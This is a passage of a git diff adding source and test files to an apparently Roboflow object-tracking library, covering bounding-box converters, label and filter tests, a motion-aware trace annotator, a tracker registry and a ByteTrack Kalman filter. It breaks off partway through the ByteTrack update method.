np.array([0]), + "confidence": np.array([0.95]), + "tracker_id": np.array([1]), + }, + ["person"], + {"show_ids": True, "show_labels": True, "show_confidence": True}, + ["#1 person 0.95"], + id="combined_id_class_confidence", + ), + ], + ) + def test_generates_labels( + self, + detections_kwargs: dict, + class_names: list[str], + label_flags: dict, + expected: list[str], + ) -> None: + detections = sv.Detections(**detections_kwargs) + labels = _format_labels(detections, class_names, **label_flags) + assert labels == expected + + +class TestResolveClassFilter: + CLASS_NAMES: ClassVar[list[str]] = [ + "person", + "bicycle", + "car", + "motorcycle", + "airplane", + ] + + @pytest.mark.parametrize( + "classes_arg,expected", + [ + pytest.param(None, None, id="none_returns_none"), + pytest.param("", None, id="empty_returns_none"), + pytest.param("0,2", [0, 2], id="integer_ids"), + pytest.param("person,car", [0, 2], id="class_names"), + pytest.param("person,2,motorcycle", [0, 2, 3], id="mixed_names_and_ids"), + pytest.param(" person , car ", [0, 2], id="whitespace_stripped"), + pytest.param("99", [99], id="out_of_range_id_kept"), + ], + ) + def test_resolves_classes( + self, + classes_arg: str | None, + expected: list[int] | None, + ) -> None: + result = _resolve_class_filter(classes_arg, self.CLASS_NAMES) + assert result == expected + + def test_unknown_name_warns_and_skips(self, capsys: pytest.CaptureFixture) -> None: + result = _resolve_class_filter("person,unicorn,car", self.CLASS_NAMES) + assert result == [0, 2] + assert "unicorn" in capsys.readouterr().err + + def test_all_unknown_names_returns_none( + self, capsys: pytest.CaptureFixture + ) -> None: + result = _resolve_class_filter("unicorn,dragon", self.CLASS_NAMES) + assert result is None + assert "unicorn" in capsys.readouterr().err + + +class TestResolveTrackIdFilter: + @pytest.mark.parametrize( + "track_ids_arg,expected", + [ + pytest.param(None, None, id="none_returns_none"), + pytest.param("", None, id="empty_returns_none"), + pytest.param("0,2", [0, 2], id="integer_ids"), + pytest.param("person,car", None, id="words_returns_none"), + pytest.param("person,2,motorcycle", [2], id="mixed_names_and_ids"), + pytest.param(" 1 , 3 ", [1, 3], id="whitespace_stripped"), + pytest.param("99", [99], id="out_of_range_id_kept"), + ], + ) + def test_resolves_track_ids( + self, + track_ids_arg: str | None, + expected: list[int] | None, + ) -> None: + result = _resolve_track_id_filter(track_ids_arg) + assert result == expected + + def test_non_integer_warns_and_skips(self, capsys: pytest.CaptureFixture) -> None: + result = _resolve_track_id_filter("1,abc,3") + assert result == [1, 3] + assert "abc" in capsys.readouterr().err + + def test_all_non_integer_returns_none(self, capsys: pytest.CaptureFixture) -> None: + result = _resolve_track_id_filter("abc,def") + assert result is None + assert "abc" in capsys.readouterr().err diff --git a/test/utils/__init__.py b/test/utils/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/test/utils/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/test/utils/test_converters.py b/test/utils/test_converters.py new file mode 100644 index 0000000..3b234cb --- /dev/null +++ b/test/utils/test_converters.py @@ -0,0 +1,185 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import numpy as np +import pytest + +from trackers.utils.converters import xcycsr_to_xyxy, xyxy_to_xcycsr + + +@pytest.mark.parametrize( + ("xyxy", "expected"), + [ + # Unit square at origin + ( + np.array([0.0, 0.0, 1.0, 1.0]), + np.array([0.5, 0.5, 1.0, 1.0]), + ), + # Rectangle 2x4 at (10, 20) + ( + np.array([10.0, 20.0, 12.0, 24.0]), + np.array([11.0, 22.0, 8.0, 0.5]), + ), + # Wide rectangle (aspect ratio > 1) + ( + np.array([0.0, 0.0, 100.0, 50.0]), + np.array([50.0, 25.0, 5000.0, 2.0]), + ), + # Tall rectangle (aspect ratio < 1) + ( + np.array([5.0, 5.0, 15.0, 55.0]), + np.array([10.0, 30.0, 500.0, 0.2]), + ), + # Negative coordinates (box crossing origin) + ( + np.array([-5.0, -5.0, 5.0, 5.0]), + np.array([0.0, 0.0, 100.0, 1.0]), + ), + # Very small box (sub-pixel) - aspect ratio affected by epsilon protection + ( + np.array([0.0, 0.0, 0.001, 0.001]), + np.array([0.0005, 0.0005, 0.000001, 0.999001]), + ), + # Very large box + ( + np.array([0.0, 0.0, 10000.0, 10000.0]), + np.array([5000.0, 5000.0, 100000000.0, 1.0]), + ), + ], +) +def test_xyxy_to_xcycsr_single_box(xyxy: np.ndarray, expected: np.ndarray) -> None: + result = xyxy_to_xcycsr(xyxy) + assert result.shape == (4,) + np.testing.assert_array_almost_equal(result, expected, decimal=5) + + +def test_xyxy_to_xcycsr_zero_height_returns_finite() -> None: + xyxy = np.array([0.0, 0.0, 10.0, 0.0]) + result = xyxy_to_xcycsr(xyxy) + assert np.isfinite(result).all() + assert result[2] == 0.0 + + +def test_xyxy_to_xcycsr_single_row_2d_returns_2d() -> None: + xyxy = np.array([[0.0, 0.0, 1.0, 1.0]]) + result = xyxy_to_xcycsr(xyxy) + assert result.shape == (1, 4) + np.testing.assert_array_almost_equal( + result[0], np.array([0.5, 0.5, 1.0, 1.0]), decimal=5 + ) + + +def test_xyxy_to_xcycsr_empty_batch_returns_empty() -> None: + xyxy = np.zeros((0, 4)) + result = xyxy_to_xcycsr(xyxy) + assert result.shape == (0, 4) + + +@pytest.mark.parametrize( + ("xcycsr", "expected"), + [ + # Unit square at (0.5, 0.5) + ( + np.array([0.5, 0.5, 1.0, 1.0]), + np.array([0.0, 0.0, 1.0, 1.0]), + ), + # Rectangle at (11, 22) with area=8, ratio=0.5 + ( + np.array([11.0, 22.0, 8.0, 0.5]), + np.array([10.0, 20.0, 12.0, 24.0]), + ), + # Wide box + ( + np.array([50.0, 25.0, 5000.0, 2.0]), + np.array([0.0, 0.0, 100.0, 50.0]), + ), + # Tall box + ( + np.array([10.0, 30.0, 500.0, 0.2]), + np.array([5.0, 5.0, 15.0, 55.0]), + ), + # Center at origin + ( + np.array([0.0, 0.0, 100.0, 1.0]), + np.array([-5.0, -5.0, 5.0, 5.0]), + ), + # Very small box + ( + np.array([0.0005, 0.0005, 0.000001, 1.0]), + np.array([0.0, 0.0, 0.001, 0.001]), + ), + # Very large box + ( + np.array([5000.0, 5000.0, 100000000.0, 1.0]), + np.array([0.0, 0.0, 10000.0, 10000.0]), + ), + ], +) +def test_xcycsr_to_xyxy_single_box(xcycsr: np.ndarray, expected: np.ndarray) -> None: + result = xcycsr_to_xyxy(xcycsr) + assert result.shape == (4,) + np.testing.assert_array_almost_equal(result, expected, decimal=4) + + +def test_xcycsr_to_xyxy_zero_scale_produces_nan() -> None: + xcycsr = np.array([10.0, 20.0, 0.0, 1.0]) + result = xcycsr_to_xyxy(xcycsr) + assert result[0] == result[2] == 10.0 + assert np.isnan(result[1]) and np.isnan(result[3]) + + +def test_xcycsr_to_xyxy_zero_aspect_ratio_produces_nan() -> None: + xcycsr = np.array([10.0, 20.0, 100.0, 0.0]) + result = xcycsr_to_xyxy(xcycsr) + assert np.isnan(result).any() or np.isinf(result).any() + + +def test_xcycsr_to_xyxy_negative_scale_produces_nan() -> None: + xcycsr = np.array([10.0, 20.0, -100.0, 1.0]) + result = xcycsr_to_xyxy(xcycsr) + assert np.isnan(result).any() + + +def test_xcycsr_to_xyxy_single_row_2d_returns_2d() -> None: + xcycsr = np.array([[0.5, 0.5, 1.0, 1.0]]) + result = xcycsr_to_xyxy(xcycsr) + assert result.shape == (1, 4) + np.testing.assert_array_almost_equal( + result[0], np.array([0.0, 0.0, 1.0, 1.0]), decimal=5 + ) + + +def test_xcycsr_to_xyxy_empty_batch_returns_empty() -> None: + xcycsr = np.zeros((0, 4)) + result = xcycsr_to_xyxy(xcycsr) + assert result.shape == (0, 4) + + +@pytest.mark.parametrize( + "xyxy", + [ + np.array([0.0, 0.0, 1.0, 1.0]), + np.array([10.0, 20.0, 30.0, 50.0]), + np.array([100.0, 200.0, 150.0, 210.0]), + np.array([-10.0, -20.0, 10.0, 20.0]), + np.array([0.0, 0.0, 0.01, 0.01]), + np.array([0.0, 0.0, 1000.0, 500.0]), + ], +) +def test_xyxy_xcycsr_roundtrip(xyxy: np.ndarray) -> None: + xcycsr = xyxy_to_xcycsr(xyxy) + recovered = xcycsr_to_xyxy(xcycsr) + np.testing.assert_array_almost_equal(recovered, xyxy, decimal=5) + + +def test_xyxy_xcycsr_roundtrip_preserves_2d_shape() -> None: + xyxy = np.array([[0.0, 0.0, 10.0, 10.0]]) + xcycsr = xyxy_to_xcycsr(xyxy) + recovered = xcycsr_to_xyxy(xcycsr) + assert recovered.shape == (1, 4) + np.testing.assert_array_almost_equal(recovered, xyxy, decimal=5) diff --git a/tox.ini b/tox.ini new file mode 100644 index 0000000..b3852be --- /dev/null +++ b/tox.ini @@ -0,0 +1,7 @@ +[tox] +envlist = py310,py311,py312,py313 + +[testenv] +changedir = test +deps = pytest +commands = pytest diff --git a/trackers/__init__.py b/trackers/__init__.py new file mode 100644 index 0000000..548442c --- /dev/null +++ b/trackers/__init__.py @@ -0,0 +1,32 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from trackers.annotators.trace import MotionAwareTraceAnnotator +from trackers.core.bytetrack.tracker import ByteTrackTracker +from trackers.core.ocsort.tracker import OCSORTTracker +from trackers.core.sort.tracker import SORTTracker +from trackers.io.video import frames_from_source +from trackers.motion.estimator import MotionEstimator +from trackers.motion.transformation import ( + CoordinatesTransformation, + HomographyTransformation, + IdentityTransformation, +) +from trackers.utils.converters import xcycsr_to_xyxy, xyxy_to_xcycsr + +__all__ = [ + "ByteTrackTracker", + "CoordinatesTransformation", + "HomographyTransformation", + "IdentityTransformation", + "MotionAwareTraceAnnotator", + "MotionEstimator", + "OCSORTTracker", + "SORTTracker", + "frames_from_source", + "xcycsr_to_xyxy", + "xyxy_to_xcycsr", +] diff --git a/trackers/annotators/__init__.py b/trackers/annotators/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/trackers/annotators/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/trackers/annotators/trace.py b/trackers/annotators/trace.py new file mode 100644 index 0000000..fbff117 --- /dev/null +++ b/trackers/annotators/trace.py @@ -0,0 +1,227 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from collections import defaultdict + +import cv2 +import numpy as np +import supervision as sv +from supervision.annotators.utils import ColorLookup, resolve_color +from supervision.draw.color import Color, ColorPalette +from supervision.geometry.core import Position + +from trackers.motion.transformation import ( + CoordinatesTransformation, + IdentityTransformation, +) + + +class MotionAwareTraceAnnotator: + """Draws object trajectories with camera motion compensation. + + This annotator maintains a history of object positions in world coordinates + and draws them as trajectories (traces) on each frame. When used with camera + motion compensation, trajectories appear stable even when the camera moves. + + The API is compatible with supervision annotators, using the same color + resolution strategy and position anchoring. + + Args: + color: The color to draw the trace. Can be a single `Color` or a + `ColorPalette`. Defaults to `ColorPalette.DEFAULT`. + position: The anchor position on the bounding box for the trace point. + Defaults to `Position.CENTER`. + trace_length: Maximum number of points to store per trajectory. + Defaults to `30`. + thickness: Line thickness for drawing traces. Defaults to `2`. + color_lookup: Strategy for mapping colors to annotations. + Options are `INDEX`, `CLASS`, `TRACK`. Defaults to `ColorLookup.TRACK`. + + Example: + ```python + import cv2 + import supervision as sv + from inference import get_model + + from trackers import ( + ByteTrackTracker, + MotionAwareTraceAnnotator, + MotionEstimator, + ) + + model = get_model("rfdetr-nano") + tracker = ByteTrackTracker() + motion_estimator = MotionEstimator() + trace_annotator = MotionAwareTraceAnnotator() + + cap = cv2.VideoCapture("moving_camera.mp4") + while True: + ret, frame = cap.read() + if not ret: + break + + coord_transform = motion_estimator.update(frame) + + result = model.infer(frame)[0] + detections = sv.Detections.from_inference(result) + detections = tracker.update(detections) + + frame = trace_annotator.annotate( + scene=frame, + detections=detections, + coord_transform=coord_transform, + ) + ``` + """ + + def __init__( + self, + color: Color | ColorPalette | None = None, + position: Position | None = None, + trace_length: int = 30, + thickness: int = 2, + color_lookup: ColorLookup | None = None, + ) -> None: + self.color: Color | ColorPalette = ( + color if color is not None else ColorPalette.DEFAULT + ) + self.position: Position = position if position is not None else Position.CENTER + self.trace_length = trace_length + self.thickness = thickness + self.color_lookup: ColorLookup = ( + color_lookup if color_lookup is not None else ColorLookup.TRACK + ) + + self._trajectories: dict[int, list[tuple[float, float]]] = defaultdict(list) + + def _get_anchor_points(self, detections: sv.Detections) -> np.ndarray: + """Extract anchor points from detections based on position setting. + + Args: + detections: Detections object with xyxy boxes. + + Returns: + Array of shape `(N, 2)` with `(x, y)` anchor points. + """ + return detections.get_anchors_coordinates(self.position) + + def annotate( + self, + scene: np.ndarray, + detections: sv.Detections, + custom_color_lookup: np.ndarray | None = None, + coord_transform: CoordinatesTransformation | None = None, + ) -> np.ndarray: + """Draw motion-compensated trace paths on the scene. + + Updates internal trajectory storage with new detection positions (converted + to world coordinates), then draws all trajectories transformed back to + frame coordinates. + + Args: + scene: The image on which traces will be drawn. Modified in place. + detections: Detections with `tracker_id` field populated. + custom_color_lookup: Optional custom color lookup array to override + the default color mapping strategy. + coord_transform: Coordinate transformation for the current frame. + If None, uses identity transformation (no motion compensation). + + Returns: + The annotated image. + + Raises: + ValueError: If detections don't have tracker_id field. + """ + if detections.tracker_id is None: + raise ValueError( + "The `tracker_id` field is missing in the provided detections. " + "See: https://supervision.roboflow.com/latest/how_to/track_objects" + ) + + if coord_transform is None: + coord_transform = IdentityTransformation() + + anchor_points = self._get_anchor_points(detections) + + if len(anchor_points) > 0: + world_points = coord_transform.rel_to_abs(anchor_points) + + for tracker_id, world_point in zip(detections.tracker_id, world_points): + if tracker_id is None or tracker_id < 0: + continue + tracker_id = int(tracker_id) + trajectory = self._trajectories[tracker_id] + trajectory.append((float(world_point[0]), float(world_point[1]))) + + if len(trajectory) > self.trace_length: + self._trajectories[tracker_id] = trajectory[-self.trace_length :] + + for detection_idx in range(len(detections)): + tracker_id = detections.tracker_id[detection_idx] + if tracker_id is None or tracker_id < 0: + continue + tracker_id = int(tracker_id) + + trajectory = self._trajectories.get(tracker_id, []) + if len(trajectory) < 2: + continue + + color = resolve_color( + color=self.color, + detections=detections, + detection_idx=detection_idx, + color_lookup=( + self.color_lookup + if custom_color_lookup is None + else custom_color_lookup + ), + ) + + world_points = np.array(trajectory, dtype=np.float32) + frame_points = coord_transform.abs_to_rel(world_points) + + # Filter out points outside the frame bounds + height, width = scene.shape[:2] + valid_mask = ( + (frame_points[:, 0] >= 0) + & (frame_points[:, 0] < width) + & (frame_points[:, 1] >= 0) + & (frame_points[:, 1] < height) + & np.isfinite(frame_points[:, 0]) + & np.isfinite(frame_points[:, 1]) + ) + + if np.sum(valid_mask) < 2: + continue + + points: np.ndarray = frame_points[valid_mask].astype(np.int32) + + scene = cv2.polylines( + scene, + [points], + isClosed=False, + color=color.as_bgr(), + thickness=self.thickness, + ) + + return scene + + def reset(self) -> None: + """Clear all stored trajectories. + + Call this when switching videos or when you want to reset trajectory history. + """ + self._trajectories.clear() + + def clear_tracker(self, tracker_id: int) -> None: + """Clear the trajectory for a specific tracker ID. + + Args: + tracker_id: The tracker ID to clear. + """ + self._trajectories.pop(tracker_id, None) diff --git a/trackers/core/__init__.py b/trackers/core/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/trackers/core/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/trackers/core/base.py b/trackers/core/base.py new file mode 100644 index 0000000..a56d2c5 --- /dev/null +++ b/trackers/core/base.py @@ -0,0 +1,291 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import inspect +import re +import types +from abc import ABC, abstractmethod +from dataclasses import dataclass +from typing import Any, ClassVar, Union, get_args, get_origin + +import supervision as sv + + +@dataclass +class ParameterInfo: + """Holds metadata for a single tracker parameter. + + Stores the type, default value, and description extracted from the + tracker's __init__ signature and docstring. + """ + + param_type: type + default_value: Any + description: str + + +@dataclass +class TrackerInfo: + """Holds a tracker class and its extracted parameter metadata. + + Used by the CLI to discover available trackers and their configurable + options without instantiating them. + """ + + tracker_class: type[BaseTracker] + parameters: dict[str, ParameterInfo] + + +# Pattern: leading whitespace, optional backticks, param name (supports dotted), +# optional (type info), colon, and captures description +_PARAM_START_PATTERN = re.compile( + r"^\s*`?(\w+(?:\.\w+)*)`?\s*(?:\([^)]*\))?\s*:\s*(.*)$" +) + + +def _parse_docstring_arguments(docstring: str) -> dict[str, str]: + """Extract parameter-to-description mapping from Google-style Args section. + + Supports multiple formats including `param: desc`, `param (type): desc`, + and multi-line descriptions with proper continuation handling. + + Args: + docstring: Raw docstring text to parse. + + Returns: + Mapping of parameter names to their description strings. + Empty dict if no Args section found. + """ + if not docstring: + return {} + + result: dict[str, str] = {} + lines = docstring.splitlines() + i = 0 + n = len(lines) + + # Find Args: section + while i < n: + if lines[i].strip() == "Args:": + i += 1 + break + i += 1 + + if i == n: + return {} + + current_param: str | None = None + current_desc_parts: list[str] = [] + + while i < n: + line = lines[i].rstrip() + stripped = line.strip() + + if not stripped: + i += 1 + continue + + if stripped in ( + "Returns:", + "Yields:", + "Raises:", + "Attributes:", + "Note:", + "Notes:", + "Example:", + "Examples:", + "See Also:", + ): + break + + match = _PARAM_START_PATTERN.match(line) + if match: + if current_param: + result[current_param] = " ".join(current_desc_parts).strip() + current_param = match.group(1) + desc_first = match.group(2).strip() + current_desc_parts = [desc_first] if desc_first else [] + elif current_param: + current_desc_parts.append(stripped) + + i += 1 + + if current_param: + result[current_param] = " ".join(current_desc_parts).strip() + + return result + + +def _normalize_type(annotation: Any, default: Any) -> Any: + """Unwrap Optional/Union/generics to base type for CLI argument parsing. + + Converts complex annotations like Optional[int], list[str], or int | None + to their base types (int, list, int) suitable for argparse type conversion. + + Args: + annotation: Type annotation to simplify. + default: Default value used for fallback type inference when + annotation is Any or cannot be resolved. + + Returns: + Simplified type (e.g., int, str, list) or Any if unresolvable. + """ + origin = get_origin(annotation) + args = get_args(annotation) + + if origin is None: + if annotation is Any and default is not None: + return type(default) + return annotation if isinstance(annotation, type) else Any + + # Handle Union types (typing.Union and Python 3.10+ int | None syntax) + union_type = getattr(types, "UnionType", None) + if origin is Union or (union_type is not None and origin is union_type): + non_none = [a for a in args if a is not type(None)] + if non_none: + return _normalize_type(non_none[0], default) + return Any + + if origin in (list, tuple, set, frozenset): + return origin + + if origin is dict: + return dict + + if default is not None: + return type(default) + return Any + + +def _extract_params_from_init(cls: type) -> dict[str, ParameterInfo]: + """Introspect __init__ signature and docstring to build parameter metadata. + + Combines type hints, default values, and docstring descriptions into a + structured format. Falls back to class docstring if __init__ has none. + + Args: + cls: Class whose __init__ to analyze. + + Returns: + Mapping of parameter names to ParameterInfo objects. + Excludes 'self' parameter. + """ + sig = inspect.signature(cls.__init__) # type: ignore[misc] + + try: + from typing import get_type_hints + + type_hints = get_type_hints(cls.__init__) # type: ignore[misc] + except Exception: + type_hints = {} + + # Check __init__ docstring first, then fall back to class docstring + init_doc = cls.__init__.__doc__ or "" # type: ignore[misc] + class_doc = cls.__doc__ or "" + param_docs = _parse_docstring_arguments(init_doc) or _parse_docstring_arguments( + class_doc + ) + + params: dict[str, ParameterInfo] = {} + for name, param in sig.parameters.items(): + if name == "self": + continue + + default = ( + param.default if param.default is not inspect.Parameter.empty else None + ) + + annotation = type_hints.get(name, Any) + param_type = _normalize_type(annotation, default) + + # Fallback: infer from default if annotation is Any + if param_type is Any and default is not None: + param_type = type(default) + + description = param_docs.get(name, "") + + params[name] = ParameterInfo( + param_type=param_type, default_value=default, description=description + ) + + return params + + +class BaseTracker(ABC): + """Abstract tracker with auto-registration via tracker_id class variable. + + Subclasses that define `tracker_id` are automatically registered and + become discoverable. Parameter metadata is extracted from __init__ for + CLI integration. + """ + + _registry: ClassVar[dict[str, TrackerInfo]] = {} + tracker_id: ClassVar[str | None] = None + + def __init_subclass__(cls, **kwargs: Any) -> None: + """Register subclass in the tracker registry if it defines tracker_id. + + Extracts parameter metadata from __init__ at class definition time. + """ + super().__init_subclass__(**kwargs) + + tracker_id = getattr(cls, "tracker_id", None) + if tracker_id is not None: + BaseTracker._registry[tracker_id] = TrackerInfo( + tracker_class=cls, + parameters=_extract_params_from_init(cls), + ) + + @classmethod + def _lookup_tracker(cls, name: str) -> TrackerInfo | None: + """Look up registered tracker by name. + + Internal method used by CLI for tracker discovery and instantiation. + + Args: + name: Tracker identifier (e.g., "bytetrack", "sort"). + + Returns: + TrackerInfo containing class and parameters if found, + None otherwise. + """ + return cls._registry.get(name) + + @classmethod + def _registered_trackers(cls) -> list[str]: + """List all registered tracker names. + + Internal method used by CLI for help text and argument validation. + + Returns: + Alphabetically sorted list of tracker identifiers. + """ + return sorted(cls._registry.keys()) + + @abstractmethod + def update(self, detections: sv.Detections) -> sv.Detections: + """Process new detections and assign track IDs. + + Matches incoming detections to existing tracks, creates new tracks + for unmatched detections, and handles track lifecycle management. + + Args: + detections: Current frame detections with xyxy, confidence, class_id. + + Returns: + Same detections enriched with tracker_id attribute for each box. + """ + pass + + @abstractmethod + def reset(self) -> None: + """Clear all internal tracking state. + + Call between videos or when tracking should restart from scratch. + """ + pass diff --git a/trackers/core/bytetrack/__init__.py b/trackers/core/bytetrack/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/trackers/core/bytetrack/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/trackers/core/bytetrack/kalman.py b/trackers/core/bytetrack/kalman.py new file mode 100644 index 0000000..c091e06 --- /dev/null +++ b/trackers/core/bytetrack/kalman.py @@ -0,0 +1,154 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +import numpy as np +from numpy.typing import NDArray + + +class ByteTrackKalmanBoxTracker: + """ + The `ByteTrackKalmanBoxTracker` class represents the internals of a single + tracked object (bounding box), with a Kalman filter to predict and update + its position. + + Attributes: + tracker_id: Unique identifier for the tracker. + number_of_successful_updates: Number of times the object has been + updated successfully. + time_since_update: Number of frames since the last update. + state: State vector of the bounding box. + F: State transition matrix. + H: Measurement matrix. + Q: Process noise covariance matrix. + R: Measurement noise covariance matrix. + P: Error covariance matrix. + count_id: Class variable to assign unique IDs to each tracker. + + Args: + bbox: Initial bounding box in the form [x1, y1, x2, y2]. + """ + + count_id = 0 + state: NDArray[np.float32] + F: NDArray[np.float32] + H: NDArray[np.float32] + Q: NDArray[np.float32] + R: NDArray[np.float32] + P: NDArray[np.float32] + + @classmethod + def get_next_tracker_id(cls) -> int: + """ + Class method that returns the next available tracker ID. + + Returns: + The next available tracker ID. + """ + next_id = cls.count_id + cls.count_id += 1 + return next_id + + def __init__(self, bbox: np.ndarray): + # Initialize with a temporary ID of -1 + # Will be assigned a real ID when the track is considered mature + self.tracker_id = -1 + + # Number of hits indicates how many times the object has been + # updated successfully + self.number_of_successful_updates = 1 + # Number of frames since the last update + self.time_since_update = 0 + + # For simplicity, we keep a small state vector: + # (x, y, x2, y2, vx, vy, vx2, vy2). + # We'll store the bounding box in "self.state" + self.state = np.zeros((8, 1), dtype=np.float32) + + # Initialize state directly from the first detection + self.state[0] = bbox[0] + self.state[1] = bbox[1] + self.state[2] = bbox[2] + self.state[3] = bbox[3] + + # Basic constant velocity model + self._initialize_kalman_filter() + + def _initialize_kalman_filter(self) -> None: + """ + Sets up the matrices for the Kalman filter. + """ + # State transition matrix (F): 8x8 + # We assume a constant velocity model. Positions are incremented by + # velocity each step. + self.F = np.eye(8, dtype=np.float32) + for i in range(4): + self.F[i, i + 4] = 1.0 + + # Measurement matrix (H): we directly measure x1, y1, x2, y2 + self.H = np.eye(4, 8, dtype=np.float32) # 4x8 + + # Process covariance matrix (Q) + self.Q = np.eye(8, dtype=np.float32) * 0.01 + + # Measurement covariance (R): noise in detection + self.R = np.eye(4, dtype=np.float32) * 0.1 + + # Error covariance matrix (P) + self.P = np.eye(8, dtype=np.float32) + + def predict(self) -> None: + """ + Predict the next state of the bounding box (applies the state transition). + """ + # Predict state + self.state = (self.F @ self.state).astype(np.float32) + # Predict error covariance + self.P = (self.F @ self.P @ self.F.T + self.Q).astype(np.float32) + + # Increase time since update + self.time_since_update += 1 + + def update(self, bbox: np.ndarray) -> None: + """ + Updates the state with a new detected bounding box. + + Args: + bbox: Detected bounding box in the form [x1, y1, x2, y2]. + """ + self.time_since_update = 0 + self.number_of_successful_updates += 1 + + # Kalman Gain + S = self.H @ self.P @ self.H.T + self.R + K = (self.P @ self.H.T @ np.linalg.inv(S)).astype(np.float32) + + # Residual + measurement = bbox.reshape((4, 1)).astype(np.float32) + y = measurement - self.H @ self.state + + # Update state + self.state = (self.state + K @ y).astype(np.float32) + + # Update covariance + identity_matrix = np.eye(8, dtype=np.float32) + self.P = ((identity_matrix - K @ self.H) @ self.P).astype(np.float32) + + def get_state_bbox(self) -> np.ndarray: + """ + Returns the current bounding box estimate from the state vector. + + Returns: + The bounding box [x1, y1, x2, y2]. + """ + return np.array( + [ + self.state[0], # x1 + self.state[1], # y1 + self.state[2], # x2 + self.state[3], # y2 + ], + dtype=float, + ).reshape(-1) diff --git a/trackers/core/bytetrack/tracker.py b/trackers/core/bytetrack/tracker.py new file mode 100644 index 0000000..3792266 --- /dev/null +++ b/trackers/core/bytetrack/tracker.py @@ -0,0 +1,250 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +import numpy as np +import supervision as sv +from scipy.optimize import linear_sum_assignment + +from trackers.core.base import BaseTracker +from trackers.core.bytetrack.kalman import ByteTrackKalmanBoxTracker +from trackers.core.sort.utils import ( + get_alive_trackers, + get_iou_matrix, +) + + +class ByteTrackTracker(BaseTracker): + """ByteTrack operates online by processing all detector outputs, categorizing them + by confidence thresholds to enable a two-stage association process. High-score boxes + are initially linked to tracklets via Kalman filter predictions and IoU-based + Hungarian matching, optionally enhanced with appearance features. Low-score boxes + follow in a secondary matching phase using pure motion similarity to revive occluded + tracks. Tracks without matches are kept briefly for potential re-association, + preventing premature termination. This inclusive approach addresses common pitfalls + in detection filtering, establishing ByteTrack as a flexible enhancer for existing + tracking frameworks. + + ByteTrack excels in dense environments, where its low-score recovery mechanism + minimizes missed detections and enhances overall trajectory completeness. It + consistently improves performance across diverse datasets, demonstrating robustness + and generalization. The tracker's speed remains competitive, facilitating + integration into production pipelines. On the downside, it is highly dependent on + detector quality, with performance drops in noisy or low-resolution inputs. + Additionally, the motion-only secondary association may lead to erroneous matches + in scenes with similar moving objects. + + Args: + lost_track_buffer: `int` specifying number of frames to buffer when a + track is lost. Increasing this value enhances occlusion handling but + may increase ID switching for disappearing objects. + frame_rate: `float` specifying video frame rate in frames per second. + Used to scale the lost track buffer for consistent tracking across + different frame rates. + track_activation_threshold: `float` specifying minimum detection + confidence to create new tracks. Higher values reduce false + positives but may miss low-confidence objects. + minimum_consecutive_frames: `int` specifying number of consecutive + frames before a track is considered valid. Before reaching this + threshold, tracks are assigned `tracker_id` of `-1`. + minimum_iou_threshold: `float` specifying IoU threshold for associating + detections to existing tracks. Higher values require more overlap. + high_conf_det_threshold: `float` specifying threshold for separating + high and low confidence detections in the two-stage association. + """ + + tracker_id = "bytetrack" + + def __init__( + self, + lost_track_buffer: int = 30, + frame_rate: float = 30.0, + track_activation_threshold: float = 0.7, + minimum_consecutive_frames: int = 2, + minimum_iou_threshold: float = 0.1, + high_conf_det_threshold: float = 0.6, + ) -> None: + # Calculate maximum frames without update based on lost_track_buffer and + # frame_rate. This scales the buffer based on the frame rate to ensure + # consistent time-based tracking across different frame rates. + self.maximum_frames_without_update = int(frame_rate / 30.0 * lost_track_buffer) + self.minimum_consecutive_frames = minimum_consecutive_frames + self.minimum_iou_threshold = minimum_iou_threshold + self.track_activation_threshold = track_activation_threshold + self.high_conf_det_threshold = high_conf_det_threshold + self.tracks: list[ByteTrackKalmanBoxTracker] = [] + + def update( + self, + detections: sv.Detections, + ) -> sv.Detections: + """Update tracker state with new detections and return tracked objects. + Performs Kalman filter prediction, two-stage association (high then low + confidence), and initializes new tracks for unmatched detections. + + Args: + detections: `sv.Detections` containing bounding boxes with shape + `(N, 4)` in `(x_min, y_min, x_max, y_max)` format and optional + confidence scores. + + Returns: + `sv.Detections` with `tracker_id` assigned for each detection. + Unmatched detections have `tracker_id` of `-1`. Detection order + may differ from input. + """ + if len(self.tracks) == 0 and len(detections) == 0: + result = sv.Detections.empty() + 